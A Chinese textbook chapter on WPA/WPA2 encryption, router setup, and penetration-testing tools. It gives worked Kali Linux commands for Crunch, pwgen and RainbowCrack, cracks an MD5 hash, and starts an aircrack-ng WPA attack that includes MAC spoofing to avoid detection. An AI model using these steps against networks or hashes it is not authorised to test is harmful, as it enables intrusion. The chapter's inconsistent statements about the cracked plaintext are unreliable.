第9章 WPA加密模式

WPA全称为Wi-Fi Protected Access,有WPA和WPA2两个标准。它是一种保护无线电脑网络(Wi-Fi)安全的系统。该加密方式是由研究者在前一代的系统有线等效加密(WEP)中,找到的几个严重弱点而产生的。本章将介绍WPA加密模式。

9.1 WPA加密简介

WPA实现了大部分的IEEE802.11i标准,是在802.11i完备之前替代WEP的过渡方案。WPA的设计可以用在所有的无线网卡上,但未必能用在第一代的无线接入点上。WPA2实现了完整的标准,但不能在某些古老的网卡上运行。这两者都提供优良的安全能力。本节将对WPA加密做一个简单的介绍。

9.1.1 什么是WPA加密

Wi-Fi联盟给出的WPA定义为:WPA=802.1x+EAP+TKIP+MIC。其中,802.1x是指IEEE的802.1x身份认证标准;EAP(Extensible Authentication Protocol)是一种扩展身份认证协议。这两者就是新添加的用户级身份认证方案。TKIP(Temporal Key Integrity Protocol)是一种密钥管理协议;MIC(Message Integrity Code,消息完整性编码)是用来对消息进行完整性检查的,用来防止攻击者拦截、篡改,甚至重发数据封包。

WPA2是WPA的第二个版本,是对WPA在安全方面的改进版本。与第一版的WPA相比,主要改进的是所采用的加密标准,从WPA的TKIP/MIC改为AES-CCMP。所以,可以认为WPA2的加密方式为:WPA2=IEEE 802.11i=IEEE 802.11x/EAP + AES-CCMP。其中,两个版本的区别如表9-1所示。

表9-1 WPA和WPA2比较

image

从表9-1中可以看到,WPA2采用了加密性能更好、安全性更高的加密技术AES-CCMP(Advanced Encryption Standard-Counter mode with Cipher-block chaining Message authentication code Protocol,高级加密标准-计算器模式密码区块链接消息身份验证代码协议),取代了原WPA中的TKIP/MIC加密协议。因为WPA中的TKIP虽然针对WEP的弱点做了重大的改进,但仍保留了RC4算法和基本架构。也就是说,TKIP亦存在着RC4本身所隐含的弱点。

CCMP采用的是AES(Advanced Encryption Standard,高级加密标准)加密模块,AES既可以实现数据的机密性,又可以实现数据的完整性。

9.1.2 WPA加密工作原理

WPA包括暂时密钥完整性协议(Temporal Key Integrity Protocol,TKIP)和802.1x机制。TKIP与802.1x一起为移动客户机提供了动态密钥加密和相互认证功能。WPA通过定期为每台客户机生成唯一的加密密钥来阻止黑客入侵。

TKIP为WEP引入了新的算法,这些算法包括扩展的48位初始化向量与相关的序列规则、数据包密钥构建、密钥生成与分发功能和信息完整性码(也被称为Michael码)。

在应用中,WPA可以与利用802.1x和EAP(一种验证机制)的认证服务器(如远程认证拨入用户服务)连接。这台认证服务器用于保存用户证书。这种功能可以实现有效的认证控制,以及与已有信息系统的集成。由于WPA具有运行“预共享的密钥模式”的能力,SOHO环境中的WPA部署并不需要认证服务器。与WEP类似,一部客户机的预先共享的密钥必须与接入点中保存的预先共享密钥相匹配。接入点使用通行字进行认证,如果通行字相符合,客户机被允许访问接入点。该连接过程又被称为四次握手,其通信过程如图9.1所示。

image

图9.1 四次握手

9.1.3 WPA弥补了WEP的安全问题

简单地说,WPA就是WEP加密方式的升级版。WPA作为一种大大提高无线网络的数据保护和接入控制的增强安全性级别,的确能够解决WEP加密所不能解决的问题。下面将以表格的形式列出WPA2针对WEP不足的改进,如表9-2所示。

表9-2 WPA2针对WEP的改进

WEP存在的弊端 WPA2的解决方法
初始化向量(IV)太短 在AES-CCMP中,IV被替换为“数据包编号”字段,并且其大小将倍增至48位
不能保证数据完整性 采用WEP加密的校验和计算已替换为可严格实现数据完整性的AES CBC-MAC算法。CBC-MAC算法计算得出一个128位的值,然后WPA2使用高阶64位作为消息完整性代码(MIC)。WPA2采用AES计数器模式加密方式对MIC进行加密
使用主密钥而非派生密钥 与WPA和“临时密钥完整性协议”(TKIP)类似,AES-CCMP使用一组从主密钥和其他派生的临时密钥。主密钥是从“可扩展身份验证协议-传输层安全性”(EAP-TLS)或“受保护的EAP”(PEAP)802.1x身份验证过程派生而来的
不重新生成密钥 AES-CCMP自动重新生成密钥以派生新的临时密钥组
无重播保护 AES-CCMP使用“数据包编号”字段作为计数器来提供重播保护
无身份认证 采用IEEE 802.1x进行身份认证

9.2 设置WPA加密模式

通过前面的介绍,用户对WPA模式有了更多的了解,并且可知这种加密方法更能保护用户无线网络中数据的安全。所以,本节将介绍如何设置WPA加密模式。

9.2.1 WPA认证类型

WPA用户认证是使用802.1x和扩展认证协议(Extensible Authentication Protocol,EAP)来实现的。WPA考虑到不同的用户和不同的应用安全需要。例如,企业用户需要很高的安全保护(企业级),否则可能会泄露非常重要的商业机密;而家庭用户往往只是使用网络来浏览Internet、收发E-mail、打印和共享文件,这些用户对安全的要求相对较低。为了满足用户的不同安全要求,WPA中规定了两种应用模式。如下所述。

image  企业模式:通过使用认证服务器和复杂的安全认证机制,来保护无线网络通信安全。

image  家庭模式(包括小型办公室):在AP(或者无线路由器)以及连接无线网络的无线终端上输入共享密钥,以保护无线链路的通信安全。

根据这两种不同的应用模式,WPA的认证也分别有两种不同的方式。对应大型企业的应用,常采用802.1x+EAP的方式,用户提供认证所需的凭证。但对于一些中小型的企业网络或者家庭用户,WPA也提供一种简化的模式,它不需要专门的认证服务器。这种模式叫做“WPA预共享密钥(WPA-PSK)”,它仅要求在每个WLAN节点(AP、无线路由器和网卡等)预先输入一个密钥即可实现。

在无线路由器的WPA加密方式中,默认提供了3种认证类型,分别是自动、WPA-PSK和WPA2-PSK。实际上这3种认证类型基本没区别,由于WPA加密包括WPA和WPA2两个标准,所以认证类型也有两个标准WPA-PSK和WPA2-PSK。

9.2.2 加密算法

在无线路由器的WPA加密模式中,默认提供了自动、TKIP和AES3种加密算法。如果用户不了解加密算法时,通常会选择“自动”选项。所以,下面将对TKIP和AES加密算法进行详细介绍,以帮助用户选择更安全的加密算法。

1.TKIP加密算法

TKIP(Temporal Key Integrity Protocol,暂时密钥集成协议)负责处理无线安全问题的加密部分,TKIP是包裹在已有WEP密码外围的一层“外壳”。这种加密方式在尽可能使用WEP算法的同时,消除了已知的WEP缺点。例如,WEP密码使用的密钥长度为40位和128位,40位的密钥是非常容易破解的,而且同一局域网内所有用户都共享一个密钥,如果一个用户丢失密钥将使整个网络不安全。而TKIP中密码使用的密钥长度为128位,这就解决了WEP密码使用的密钥长度过短的问题。

TTKIP另一个重要的特性就是变化每个数据包所使用的密钥,这就是它名称中“动态”的出处。密钥通过将多种因素混合在一起生成,包括基本密钥(即TKIP中所谓的成对瞬时密钥)、发射站的Mac地址以及,数据包的序列号。混合操作在设计上将对无线站和接入点的要求减少到最低程度,但仍具有足够的密码强度,使它不能被轻易破译。WEP的另一个缺点就是“重放攻击(replay attacks)”,而利用TKIP传送的每一个数据包都具有独有的48位序列号,由于48位序列号需要数千年时间才会出现重复,因此没有人可以重放来自无线连接的老数据包。由于序列号不正确,这些数据包将作为失序包被检测出来。

2.AES加密算法

AES(Advanced Encryption Standard,高级加密标准)是美国国家标准与技术研究所用于加密电子数据的规范,该算法汇聚了设计简单、密钥安装快、需要的内存空间少、在所有的平台上运行良好、支持并行处理并且可以抵抗所有已知攻击等优点。AES是一个迭代的、对称密钥分组的密码,它可以使用128、192和256位密钥,并且用128位(16字节)分组加密和解密数据。与公共密钥密码使用密钥对不同,对称密钥密码使用相同的密钥加密和解密数据。通过分组密码返回的加密数据的位数与输入数据相同。迭代加密使用一个循环结构,在该循环中重复置换(permutations )和替换(substitutions)输入数据。

总而言之,AES提供了比TKIP更加高级的加密技术,现在无线路由器都提供了这两种算法,不过更倾向于AES。TKIP安全性不如AES,而且在使用TKIP算法时,路由器的吞吐量会下降,并大大影响了路由器的性能。

9.2.3 设置AP为WPA加密模式

WPA是目前最常用的加密方式,属于WPA/WPA2简化版。WPA-PSK/WPA2-PSK不仅支持无线的各种协议,另外,配置相当简单,安全性也高。下面将介绍如何设置AP为WPA加密模式。

【实例9-1】 设置AP为WPA加密模式。下面以TP-LINK路由器为例,设置AP的加密方式。具体操作步骤如下所述。

(1)登录无线路由器。

(2)在路由器的菜单栏中依次选择“无线设置”|“无线安全设置”命令,将显示如图9.2所示的界面。

image

图9.2 无线网络安全设置

(3)在该界面显示了不同的加密方式,设置选择WPA-PSK/WPA2-PSK加密方式。然后,设置认证类型、加密算法及PSK密码。设置好的界面,如图9.3所示。

image

图9.3 设置加密模式

(4)这里选择认证类型为“自动”,加密算法为AES,PSK密码为daxueba!。注意,这里设置的密码至少8位。如果用户选择使用TKIP加密算法的话,将提示一些注意信息。因为使用该加密算法,将会降低路由器的工作性能,注意信息如图9.4所示。

image

图9.4 注意信息

(5)设置好以上加密方式后,单击“保存”按钮,并重新启动路由器。至此,WPA-PSK加密设置完成,无线网络已经处于WPA-PSK加密保护中。手机和电脑等可以搜索该无线信号,输入设置好的无线密码即可连接无线网络。

9.3 创建密码字典

由于目前要使用WPA加密的WiFi网络,只有通过暴力破解和字典法。暴力破解所耗时的时间,正常情况下是不容易算出来的。而字典法破解利用的字典往往是英文单词、数字、论坛ID等组合。如果渗透测试人员有一本好字典的话,是可以将密码破解出来的。下面将介绍如何创建密码字典。

9.3.1 使用Crunch工具

Crunch是一种创建密码字典工具,该字典通常用于暴力破解。使用Crunch工具生成的密码可以发送到终端、文件或另一个程序。下面将介绍使用Crunch工具创建密码字典。

Crunch命令的语法格式如下所示。

crunch [minimum length] [maximum length] [character set] [options]

Crunch工具语法中各参数及常用选项含义如下所示。

image  minimum length:指定生成密码的最小长度。

image  maximum length:指定生成密码的最大长度。

image  character set:指定一个用于生成密码字典的字符集。

image  -b:指定写入文件最大的字节数。该大小可以指定KB、MB或GB,但是必须与-o START选项一起使用。

image  -c:指定密码个数(行数)。

image  -d:限制出现相同元素的个数(至少出现元素个数)。如-d 3就不会出现zzf ffffgggg之类的超过了3个相同的元素。

image  -e string:定义停止生成的密码字符串。

image  -f:调用密码库文件。

image  -i:改变输出格式。

image  -l:该选项用于当-t选项指定@、%或^时,用来识别占位符的一些字符。

image  -m:与-p搭配使用。

image  -o:用于指定输出字典文件的位置。

image  -p:定义密码元素。

image  -q:指定读取的密码字典。

image  -r:定义从某一个地方重新开始生成密码。

image  -s:指定第一个密码。

image  -t:设置使用的特色格式。@表示小写字母;,表示大写字母;%表示数字;^表示符号。

image  -z:打包压缩格式。支持的格式有gzip、bzip2、lzma和7z。

【实例9-2】 使用Crunch工具,创建一个1~8位字符的密码。执行命令如下所示。

root@localhost:~# crunch 1 8
Crunch will now generate the following amount of data: 1945934118544 bytes
1855787 MB
1812 GB
1 TB
0 PB
Crunch will now generate the following number of lines: 217180147158
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
......
ifwv
ifww
ifwx
ifwy
ifwz
ifxa
ifxb
ifxc
ifxd
ifxe
ifxf
ifxg
......

从以上输出的信息中,可以看到生成了一个1TB的字典,并且该字典中包含217180147158个密码。

注意: 使用Crunch工具创建密码字典时,一定要准备足够的磁盘空间,否则会出现磁盘空间不足的问题。

【实例9-3】 使用Crunch工具创建1~6位字符的密码,并且使用abcdef作为字符集。执行命令如下所示。

root@localhost:~# crunch 1 6 abcdef
Crunch will now generate the following amount of data: 380712 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 55986
a
b
c
d
e
f
aa
ab
ac
ad
ae
af
ba
bb
bc
bd
be
bf
ca
cb
cc
cd
ce
cf
da
db
dc
dd
de
df
ea
eb
ec
ed
ee
ef
fa
fb
fc
fd
fe
ff
aaa
aab
aac
aad
aae
aaf
......

【实例9-4】 使用Crunch工具创建一个名为password.txt的密码字典。其中,密码的最小长度为1,最大长度为8,并使用字符集为abcdef12345来生成密码字典。执行命令如下所示。

root@localhost:~# crunch 1 8 abcdef12345 -o password.txt
Crunch will now generate the following amount of data: 2098573444 bytes
2001 MB
1 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 235794768

crunch:  13% completed generating output

crunch:  27% completed generating output

crunch:  42% completed generating output

crunch:  56% completed generating output

crunch:  70% completed generating output

crunch:  84% completed generating output

crunch:  99% completed generating output

crunch: 100% completed generating output

从以上输出信息中可以看到,生成了2001MB大小的文件,总共有235794768行。以上命令执行完成后,将在当前目录下生成一个名为password.txt的字典文件。

【实例9-5】 在Kali Linux中,Crunch工具自带了一个库文件。在该文件中,包含常见的元素组合。如大小写字母+数字+常见符号。该文件默认保存在/usr/share/crunch/charset.lst,其内容如下所示。

root@localhost:~# cat /usr/share/crunch/charset.lst
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro (mao@oxid.it)
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei <shuanglei@hotmail.com>
hex-lower                       = [0123456789abcdef]
hex-upper                       = [0123456789ABCDEF]
numeric                         = [0123456789]
numeric-space                   = [0123456789 ]
symbols14                       = [!@#$%^&*()-_+=]
symbols14-space                 = [!@#$%^&*()-_+= ]
symbols-all                     = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
symbols-all-space               = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
ualpha                          = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
ualpha-space                    = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
ualpha-numeric                  = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
ualpha-numeric-space            = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]
ualpha-numeric-symbol14         = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!
                                @#$%^&*()-_+=]
ualpha-numeric-symbol14-space   = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!
                                @#$%^&*()-_+= ]
ualpha-numeric-all              = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!
                                @#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
ualpha-numeric-all-space        = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!
                                @#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
lalpha                          = [abcdefghijklmnopqrstuvwxyz]
lalpha-space                    = [abcdefghijklmnopqrstuvwxyz ]
lalpha-numeric                  = [abcdefghijklmnopqrstuvwxyz0123456789]
lalpha-numeric-space            = [abcdefghijklmnopqrstuvwxyz0123456789 ]
lalpha-numeric-symbol14         = [abcdefghijklmnopqrstuvwxyz0123456789!
                                @#$%^&*()-_+=]
lalpha-numeric-symbol14-space = [abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_+= ]
lalpha-numeric-all              = [abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_+
                                =~`[]{}|\:;"'<>,.?/]
lalpha-numeric-all-space        = [abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*
                                ()-_+= ~`[]{}|\:;"'<>,.?/ ]
mixalpha                        = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ]
mixalpha-space                  = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ ]
mixalpha-numeric                        = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789]
mixalpha-numeric-space          = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789 ]
mixalpha-numeric-symbol14       = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789!@#$%^&*()-_+=]
mixalpha-numeric-symbol14-space= [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]
mixalpha-numeric-all            = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
mixalpha-numeric-all-space      = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
                                PQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
......

从以上输出信息中可以看到,有很多组密码的组合,以上显示的内容中,等于号(=)左边表示项目名称,右边表示密码字符集。当用户需要调用该密码库时,通过指定项目名即可实现。例如,使用该密码库中的mixalpha-numeric-all-space项目,来创建一个名为wordlist.txt密码字典,并且设置密码长度最小为1,最长为8。执行命令如下所示。

root@localhost:~# crunch 1 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o wordlist.txt
Crunch will now generate the following amount of data: 60271701133691140 bytes
57479573377 MB
56132395 GB
54816 TB
53 PB
Crunch will now generate the following number of lines: 6704780954517120
crunch:   0% completed generating output
crunch:   0% completed generating output
crunch:   0% completed generating output
crunch:   0% completed generating output

从以上输出信息中可以看到,执行完以上命令后,将生成54816TB的密码字典。由于以上组合生成的密码较多,所以需要的时间也很长。

9.3.2 使用pwgen工具

pwgen工具可以生成难以记住的随机密码或容易记住的密码。该工具可以以交互式使用,也可以通过脚本以批模式使用它。在默认情况下,pwgen向标准输出发送许多密码。一般来说,用户不需要这种结果。但是,如果用户希望从中选择一个,手动输入一次性密码是非常有用的。下面将介绍使用pwgen工具生成密码的方法。

pwget工具在Kali Linux中,是默认没有安装的。所以,这里首先介绍安装pwgen工具的方法。由于Kali Linux软件源中提供了该软件包,因此可以直接执行如下命令安装:

root@localhost:~# apt-get install pwgen

执行以上命令后,将输出如下所示的信息:

正在读取软件包列表... 完成
正在分析软件包的依赖关系树
正在读取状态信息... 完成
下列软件包是自动安装的并且现在不需要了:
  libmozjs22d libnet-daemon-perl libnfc3 libplrpc-perl libruby libtsk3-3 libwireshark2 libwiretap2
  libwsutil2 openjdk-7-jre-lib
  python-apsw python-utidylib ruby-crack ruby-diff-lcs ruby-rspec ruby-rspec-core ruby-rspec-
  expectations ruby-rspec-mocks ruby-simplecov
  ruby-simplecov-html xulrunner-22.0
Use 'apt-get autoremove' to remove them.
下列【新】软件包将被安装:
  pwgen
升级了 0 个软件包,新安装了 1 个软件包,要卸载 0 个软件包,有 35 个软件包未被升级。
需要下载 21.0 kB 的软件包。
解压缩后会消耗掉 73.7 kB 的额外空间。
获取:1 http://http.kali.org/kali/ kali/main pwgen amd64 2.06-1+b2 [21.0 kB]
下载 21.0 kB,耗时 3秒 (6,608 B/s)
Selecting previously unselected package pwgen.
(正在读取数据库 ... 系统当前共安装有 342613 个文件和目录。)
正在解压缩 pwgen (从 .../pwgen_2.06-1+b2_amd64.deb) ...
正在处理用于 man-db 的触发器...
正在设置 pwgen (2.06-1+b2) ...

从以上输出信息中可以看到,pwgen工具已成功安装到系统中。接下来,就可以使用该工具来生成密码了。

pwgen工具的语法格式如下所示:

pwgen <options> <password_length> <number_of_passwords>

该工具常用的选项含义如下所示:

image  -1:每行输出一个密码。

image  -c:必须包含大写字母。

image  -n:必须包含数字。

image  -s:随机密码。

【实例9-6】 使用pwgen工具创建密码。执行命令如下所示。

root@localhost:~# pwgen
Othie4Ie hooM0ae        Feixie7h        Chi8miev        cuC2otie        Phah4ahk                ieth5ohZ                Roo7ahl8
Riet9ieb hee0goh        EiseeY9e        Fuph0afu        uZ5uo9la        Een4chee                Xoxiet4m                aiS1Wo1a
AeQuai1U oo7ePhu        ooCh4ai Veex5the        egai1EiD        aiqu1juX                Oovepu4Y        xeiXoo4a
ooqu8UiG xeeCh7A        Bej2voh0 epooSh7        f3ho1Qu eeG4aeh         eBik3t          eLe9Ei8
Aqu1lix5 7gehie kuoV8g  ias2Hoe aeph1Sh u5AhCo6         0wo7ae          iiL5oor
Ree5eghe wah9Ae oSieV8  et2Bahb u5vei1a ox9vuo1         zooJ2F          Kei6aeSh
cae2Aeyo jieX0O         irai9L  ieN8jeh         iBee3ch u4oom5H         roo9Xa          eb1Doh0
uzeYei9o Zo1thi         ohGee5  iqu6Ti2i        EDiej0up         uzogieR0       oNgia3ei                Sheep4ie
eQue9ooz 8Eux6a         ij6eco  laYae5iu        Ceeku8ki        OCh6ree0                thooJ9th                tiBaich2
eeHahph8 aW4ahG         om7Chae jo0oCh2j        Iedoi7En        auX6apoo                Oax0Aewu        Aa8uijae
Ue2Ara7h h4quai         7thaiX   Iuch7Iec       ahL0quei        tuaY9oih                aer3giB3                if2Cea4f
Ien5the9 eV8zai         k5Ooru  aiThi7ei        Ciigh9oo        oBieVa3D                Aungao6a        Ooch8eix
eemae1Ph rohS4  quu4eg  thaeN2zo        Vaib7wai        iem0gieZ                ing1Ig9O                SaeC7too
MoS0lei2 hu8hah         aiSh0mo iy9Nah8e        ahshoQu5        Foh6Peik                Muushec9                Iengoh8i
Oethi3Oh 2FieGh         eyai8He         kain7aeF        kieR6Ja7        Wi7yeihe                gi2Ig8gu                mae2KiuC
Ciehooh4 ai1vae         t0iJ4A  ieBe0iez        Eish2ais        Ohc6cooc                Ureiy6oh                ohJ5OYoo
Ma7ahZ2eLohcu9  u6eCue6         Xaex2ime        ooLoo4ka        RireiHu5                naek3Yah        Xee2Ahqu
Aexoh6ac 5paeze         au3quei         ahChae4e        ieQu1gai        ezoR3aeh                BaicieY7        Geezaj5v
Ooquoh6p ePha2ae ioCh7ae        zahNg5Shrah9wu2O        phie2eiH        Eig8aivi        mo7moiNg
shoth7Ja  v0Eyez        0lo2Ch  thoh9Ine        aeL0oon9        ao5eiB7u        eu0aip6L                Te2LuGhi

从以上输出的信息可以看到,pwgen工具随机生成了很多个密码。如果用户想要为AP设置一个比较复杂的密码,可以从生成的密码中选择一个作为AP的密码。用户也可以将以上生成的密码,保存到一个文件中,作为一个密码字典文件。

【实例9-7】 为了提高密码的安全等级,使用pwgen工具生成一个包含特殊字符的密码(如感叹号和逗号等)。执行命令如下所示。

root@localhost:~# pwgen -1 -y
eH0xi{up

以上输出的信息就是新生成的一个密码。从该密码的组合中,可以看到包含一个特殊字符{。

9.3.3 创建彩虹表

彩虹表是一个庞大的,针对各种可能的字母组合预先计算好的哈希值的集合,不仅支持MD5算法,还支持各种算法。使用彩虹表可以快速的破解各类密码。在Kali Linux中,默认提供了一个工具RainbowCrack可以用来生成彩虹表。下面将介绍使用RainbowCrack工具来创建彩虹表。

RainbowCrack工具包括3个程序,分别是rtgen、rtsort和rcrack。这3个程序的作用分别如下所示。

image  rtgen:彩虹表生成工具,生成口令、散列值对照表。

image  rtsort:排序彩虹表,为rcrack提供输入。

image  rcrack:使用排好序的彩虹表进行口令破解。

使用rtgen程序创建彩虹表,其语法格式如下所示。

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len 
chain_num part_index

或者

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index -bench

以上语法中各选项及含义如下所示。

image  hash_algorithm:指定密码的加密算法,算法包括1m、md5、sha1和mysqlsha1等。其中,1m是Windows密码的加密算法。

image  charset:指定密码的字符集,一般包括大写字母、小写字母、数字和特殊字符。

image  plaintext_len_min:指定密码的最小长度。

image  plaintext_len_max:指定密码的最大长度。

image  table_index:指定彩虹表的索引。

image  chain_len:指定彩虹链的长度。

image  chain_num:指定彩虹链的个数

image  part_index:判断每一个彩虹链的起点是怎样产生的。

image  -bench:用户性能测试。

该工具可用的字符集如下所示。

image  numeric= [0123456789]

image  alpha= [ABCDEFGHIJKLMNOPQRSTUVWXYZ]

image  alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

image  loweralpha = [abcdefghijklmnopqrstuvwxyz]

image  loweralpha-numeric= [abcdefghijklmnopqrstuvwxyz0123456789]

image  mixalpha= [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]

image  mixalpha-numeric=[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

image  ascii-32-95=[!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~]

image  ascii-32-65-123-4=[ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}~]

image  alpha-numeric-symbol32-space=[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;”‘<>,.?/ ]

image  oracle-alpha-numeric-symbol3=[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789#$_]

【实例9-8】 使用rtgen工具来创建彩虹表。执行命令如下所示。

root@localhost:~# rtgen md5 loweralpha-numeric 1 7 0 1000 1000 0
rainbow table md5_loweralpha-numeric#1-7_0_1000x1000_0.rt parameters
hash algorithm:                 md5
hash length:                    16
charset:                        abcdefghijklmnopqrstuvwxyz0123456789
charset in hex:                 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 
78 79 7a 30 31 32 33 34 35 36 37 38 39
charset length:                 36
plaintext length range: 1 - 7
reduce offset:                  0x00000000
plaintext total:                80603140212
sequential starting point begin from 0 (0x0000000000000000)
generating...
1000 of 1000 rainbow chains generated (0 m 0.1 s)

从以上输出的信息中可以看到,生成了1000个彩虹表列。生成的彩虹表默认保存在/usr/share/rainbowcrack文件中,其文件名为md5_loweralpha-numeric#1-7_0_1000x1000_0.rt。该彩虹表使用的是md5算法加密的,使用的字符集为abcdefghijklmnopqrstuvwxyz 0123456789及其他信息。

【实例9-9】 下面演示一个破解哈希密码值的例子,本例中将字符串"1111"使用md5算法加密,得到的Hash值为b0baee9d279d34fa1dfd71aadb908c3f。具体操作步骤如下所述。

(1)创建一个md5算法加密的彩虹表,并且使用字符集numeric。执行命令如下所示。

root@localhost:/usr/share/rainbowcrack# rtgen md5 numeric 5 5 0 100 200 0
rainbow table md5_numeric#5-5_0_100x200_0.rt parameters
hash algorithm:                 md5
hash length:                    16
charset:                        0123456789
charset in hex:                 30 31 32 33 34 35 36 37 38 39
charset length:                 10
plaintext length range: 5 - 5
reduce offset:                  0x00000000
plaintext total:                100000
sequential starting point begin from 0 (0x0000000000000000)
generating...
200 of 200 rainbow chains generated (0 m 0.0 s)

从以上输出信息中可以看到,生成的彩虹表文件名为md5_numeric#5-5_0_100x200_ 0.rt。在以上命令中table_index参数的值为0,如果破解不成功的话,可以尝试增加table_index参数的值,直到table_index=7时,方可成功破解md5("11111")。

(2)使用rtsort程序对生成的彩虹表进行排序。执行命令如下所示。

root@localhost:~# rtsort /usr/share/rainbowcrack/md5_numeric#5-5_0_100x200_7.rt 
/usr/share/rainbowcrack/md5_numeric#5-5_0_100x200_7.rt:
1719603200 bytes memory available
loading rainbow table...
sorting rainbow table by end point...
writing sorted rainbow table...

以上的输出信息表示,彩虹表md5_numeric#5-5_0_100x200_7.rt已经成功进行排序。

(3)破解哈希值b0baee9d279d34fa1dfd71aadb908c3f的原始字符串。执行命令如下所示。

root@localhost:~# rcrack /usr/share/rainbowcrack/md5_numeric#5-5_0_100x200_7.rt  -h 
b0baee9d279d34fa1dfd71aadb908c3f
1717690368 bytes memory available
1 x 3200 bytes memory allocated for table buffer
1600 bytes memory allocated for chain traverse
disk: /usr/share/rainbowcrack/md5_numeric#5-5_0_100x200_7.rt: 3200 bytes read
searching for 1 hash...
plaintext of b0baee9d279d34fa1dfd71aadb908c3f is 11111
disk: thread aborted
statistics
-------------------------------------------------------
plaintext found:                                1 of 1
total time:                                     0.02 s
  time of chain traverse:                       0.00 s
  time of alarm check:                          0.00 s
  time of wait:                                 0.02 s
  time of other operation:                      0.00 s
time of disk read:                              0.00 s
hash & reduce calculation of chain traverse:        4900
hash & reduce calculation of alarm check:   330
number of alarm:                                9
speed of chain traverse:                        2.45 million/s
speed of alarm check:                           0.33 million/s
result
-------------------------------------------------------
b0baee9d279d34fa1dfd71aadb908c3f  11111  hex:3131313131

从以上输出的信息中可以看到,加密之前的密码为111,并且十六进制值为3131313131。如果没有破解成功的话,将显示如下所示的信息:

root@localhost:/usr/share/rainbowcrack# rcrack /usr/share/rainbowcrack/md5_numeric#5- 
5_0_100x200_7.rt -h b0baee9d279d34fa1dfd71aadb908c3f
1704660992 bytes memory available
1 x 3200 bytes memory allocated for table buffer
1600 bytes memory allocated for chain traverse
disk: /usr/share/rainbowcrack/md5_numeric#5-5_0_100x200_0.rt: 3200 bytes read
searching for 1 hash...
disk: finished reading all files
statistics
-------------------------------------------------------
plaintext found:                                0 of 1
total time:                                     0.03 s
  time of chain traverse:                       0.00 s
  time of alarm check:                          0.00 s
  time of wait:                                 0.03 s
  time of other operation:                      0.00 s
time of disk read:                              0.00 s
hash & reduce calculation of chain traverse:        4900
hash & reduce calculation of alarm check:           319
number of alarm:                                9
speed of chain traverse:                        2.45 million/s
speed of alarm check:                           0.32 million/s
result
-------------------------------------------------------
b0baee9d279d34fa1dfd71aadb908c3f  <not found>  hex:<not found>

从以上信息的最后一行可以看到,提示了not found(找不到对应的字符串)。

注意: 使用彩虹表破解密码时,越是复杂的密码,需要的彩虹表就越大。现在主流的彩虹表都是10GB以上。所以,在某台主机上创建彩虹表时,一定要确定有足够的空间。

9.4 破解WPA加密

当用户设置好一个AP为WPA加密模式时,就可以尝试进行破解了。尽管WPA加密方式不太容易被破解出来,但是用户若有一个很好的密码字典,还是可以破解出来的。使用WPA加密的WiFi网络,只能使用暴力破解(字典或PIN码)的方法来实现。本节将介绍如何破解WPA加密的无线网络。

9.4.1 使用Aircrack-ng工具

Aircrack-ng是一个很好的WiFi网络破解工具。下面将介绍如何使用该工具破解WPA加密的WiFi网络。

【实例9-10】 使用aircrack-ng破解WPA/WPA2无线网络。为了尽可能不被发现,在破解WiFi网络之前,将修改当前无线网卡的Mac地址,然后实施破解。具体操作步骤如下所述。

(1)查看本机的无线网络接口。执行命令如下所示。

root@kali:~# airmon-ng

Interface       Chipset                 Driver
wlan0           Ralink RT2870/3070      rt2800usb - [phy1]

从输出的信息中可以看到,当前系统的无线网络接口名称为wlan0。如果要修改无线网卡的Mac地址,则需要先将无线网卡停止运行。

(2)停止无线网络接口。执行命令如下所示。

